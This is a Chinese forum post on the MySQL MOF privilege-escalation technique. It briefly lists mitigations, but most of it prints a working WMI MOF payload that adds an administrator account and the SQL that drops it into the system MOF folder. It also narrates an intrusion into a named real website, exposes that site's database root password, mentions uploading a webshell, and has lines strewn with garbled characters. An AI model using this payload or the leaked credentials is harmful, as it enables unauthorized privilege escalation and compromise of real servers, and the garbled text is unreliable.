Mysql mof扩展漏洞防范方法
: F Y8 Y$ @4 c1 u- `' M S! N" ?7 p6 S( a+ a( R
网上公开的一些利用代码:% K. b, L I: j9 M, N3 N$ x3 A
5 M/ ^" z+ M2 ]. E& W
#pragma namespace(“\\\\.\\root\\subscription”)
1 ^8 L3 n7 U% s0 F
2 f7 j7 B+ r: E* B/ O6 Qinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };( |* {( f$ @# K
3 n1 k7 u4 S- `4 ~1 B3 I% Y
! R' `- p4 S. K" J
2 s" b( o6 |+ ? l g5 j5 e$ L# ~ 6 [3 u3 U5 h# _9 e; Q7 o
9 y4 G Z: ~* x" `
连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
! s( N5 h7 I# Q: Z) {; _从上面代码来看得出解决办法:! l# w5 d `- A) [
: I2 x" n9 |* n: v3 w1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数
2 ?* t3 \- X& X6 o" @! J5 N
) U+ i; l7 w d" V; h& X2、禁止使用”WScript.Shel”组件2 _: s' J T1 D$ x
2 `+ Z* H' i, j8 v" B3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER2 S3 J! J& g3 V" Y) S) Q& ?
- j6 \7 A8 Z$ l1 w- g
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
- J0 u/ }% V. b6 l4 ]+ `9 z3 l
- I+ B1 t- Q" y/ V) {事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权 g6 O1 U/ u" _" A
1 F9 b, Q; m. E1 H4 R; J( q/ Y
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容
" R% E5 i o; f
+ r/ @1 D1 Q4 H c2 k看懂了后就开始练手吧
9 a. c' B, ]7 @+ i! w: n
+ O( a4 V' q# K1 S: e9 J1 d' ehttp://www.webbmw.com/config/config_ucenter.php 一句话 a
: B @3 d7 M b9 W* U$ E n& S6 Z0 d, W/ T. ]* r' C2 O
$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。' I2 q' E+ w3 ]
' a d7 h* M# Q0 q/ _于是直接用菜刀开搞
: ^- e f. e9 V7 e
5 l' K9 M8 Y7 O上马先1 l% b1 Q9 T! P
. D/ }9 z) R, r' V既然有了那些账号 之类的 于是我们就执行吧…….
, U' a) L. G9 R5 |8 V' {! A/ r( R% v" \$ B1 A
小小的说下
% j: W" V# u( K: c- _4 L |. K+ Q# ]' Y! A( p
在这里第1次执行未成功 原因未知
; e0 o d" X( Q e+ [ H1 _& |" q) O, `! Z! d2 i
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。+ D* u) B4 w2 [% `4 ?7 A% }7 h1 b9 x9 I
5 t6 }0 k$ q9 K9 ~. i1 g#pragma namespace(“\\\\.\\root\\subscription”)
- N% N' ^( ~+ ~& m9 @& j9 d. ?7 d. {# V5 c! ^* K0 Z2 F
instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };- N; t J5 g `5 w# H( z+ a
- j, p% D/ H1 m4 z: P1 \我是将文件放到C:\WINDOWS\temp\1.mof
0 ^# J3 Z) Z5 d0 x4 T
( ~8 y/ |4 ~- h9 ~' S所以我们就改下执行的代码( e) o1 ]( i, T5 u
5 m5 }* _0 l. x0 W
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;
- ~1 m Z5 S9 ~
/ g& d6 y& U2 [: [& b- S0 k. x% W$ U/ H2 Y
5 I* X& Y& Q% O/ d/ a$ i但是 你会发现账号还是没有躺在那里。。# s! N% R5 r4 o2 Z7 v8 Q
& J4 n7 _) i+ V, }' j3 t3 m: C于是我就感觉蛋疼
' C6 r; Y/ f Q7 A
4 F/ Z" x! ^8 o% e* I E t3 W就去一个一个去执行 但是执行到第2个 mysql时就成功了………) z2 `! v5 S P* @# C9 H
1 b3 ?& k$ K: l
9 J! \; Y4 U+ X! j) _! ?6 Q& f4 W) l# ?
但是其他库均不成功…. ^. F) {- ^# f. R+ K! j: r
. s& e: k' V6 j: F. b我就很费解呀 到底为什么不成功求大牛解答…
?; R, T' G4 Q5 U
- L8 m" R: @$ r; v$ L5 ]% @0 j1 B* Q( P$ J, r% X
$ f& F+ i1 z) P2 E
|